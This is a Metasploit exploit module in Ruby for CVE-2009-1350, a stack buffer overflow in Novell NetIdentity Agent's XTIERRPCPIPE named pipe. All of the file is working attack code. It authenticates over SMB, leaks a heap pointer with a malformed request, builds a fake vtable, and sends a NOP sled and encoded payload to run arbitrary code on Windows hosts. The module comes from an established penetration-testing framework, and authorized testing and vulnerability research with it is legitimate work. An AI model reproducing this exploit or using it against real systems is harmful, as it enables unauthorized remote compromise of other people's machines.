##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending
        a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be
        able to execute arbitrary code. The success of this module is much greater once the
        service has been restarted.
      },
      'Author'         => [ 'MC', 'Ruben Santamarta' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1350' ],
          [ 'OSVDB', '53351' ],
          [ 'BID', '34400' ],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process', # only one shot!
        },
      'Payload'	=>
        {
          'Space'	=> 550,
          'BadChars' => "\x00\x09\x0c\x0b\x20\x0a\x0d\x5c\x5f\x2f\x2e\x40",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xe4\xf0\xff\xff\xff",
        },
      'Platform'	=> 'win',
      'Targets'	=>
        [
          [ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],
        ],
      'Privileged'	 => true,
      'DisclosureDate' => 'Apr 6 2009',
      'DefaultTarget'	 => 0))

    register_options(
      [
        OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit']),
        OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'])
      ])
  end

  def mem_leak
    print_status("Connecting to the server...")
    connect()

    print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

    begin
      smb_login()
    rescue ::Exception => e
      print_error("Error: #{e}")
      disconnect
      return
    end

    print_status("Connecting to named pipe \\XTIERRPCPIPE...")

    # If the pipe doesn't exist, bail.
    begin
      pipe = simple.create_pipe('\\XTIERRPCPIPE')
    rescue ::Exception => e
      print_error("Error: #{e}")
      disconnect
      return
    end

    # If we get this far, do the dance.
    fid = pipe.file_id

    # Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
    trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')

    # Send the first request to get our pointer.
    leak =  [0x00000004].pack('V') + [0x00000818].pack('V')
    leak << rand_text_alpha_upper(2040)

    print_status("Sending malformed request...")
    pipe.write(leak)

    heap_pointer_leaked = pipe.read()[2060,4].unpack('V')[0]
    print_status(sprintf("Heap Pointer leaked: 0x%.8x", heap_pointer_leaked))

    print_status("Building fake VTable...")
    object = heap_pointer_leaked + 0x700
    print_status(sprintf("Object: 0x%.8x", object))
    method = object + 0x30
    print_status(sprintf("Method: 0x%.8x", method))
    shellcode = method + 0xA0
    print_status(sprintf("Shellcode: 0x%.8x", shellcode))

    pipe.close

    return heap_pointer_leaked,object,method,shellcode
  end

  def exploit
    heap_pointer_leaked,object,method,shellcode = mem_leak()

    return if not shellcode

    sploit =  [0x00000002].pack('V')
    sploit << [0x00000000].pack('V')
    sploit << [object].pack('V')
    sploit << [0x00000000].pack('V')
    sploit << rand_text_alpha_upper(240)
    sploit << [object].pack('V') * 32
    sploit << [method].pack('V') * 32
    sploit << [shellcode].pack('V') * 32
    sploit << make_nops(748)
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(110)

    print_status("Connecting to the server...")
    connect()

    print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

    begin
      smb_login()
    rescue ::Exception => e
      print_error("Error: #{e}")
      disconnect
      return
    end

    print_status("Connecting to named pipe \\XTIERRPCPIPE...")

    # If the pipe doesn't exist, bail.
    begin
      pipe = simple.create_pipe('\\XTIERRPCPIPE')
    rescue ::Exception => e
      print_error("Error: #{e}")
      disconnect
      return
    end

    # ok, set up and send our exploit buffer...
    fid = pipe.file_id
    trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
    print_status("#{sploit.length} bytes written...")
    pipe.write(sploit)

    handler
    disconnect
  end
end
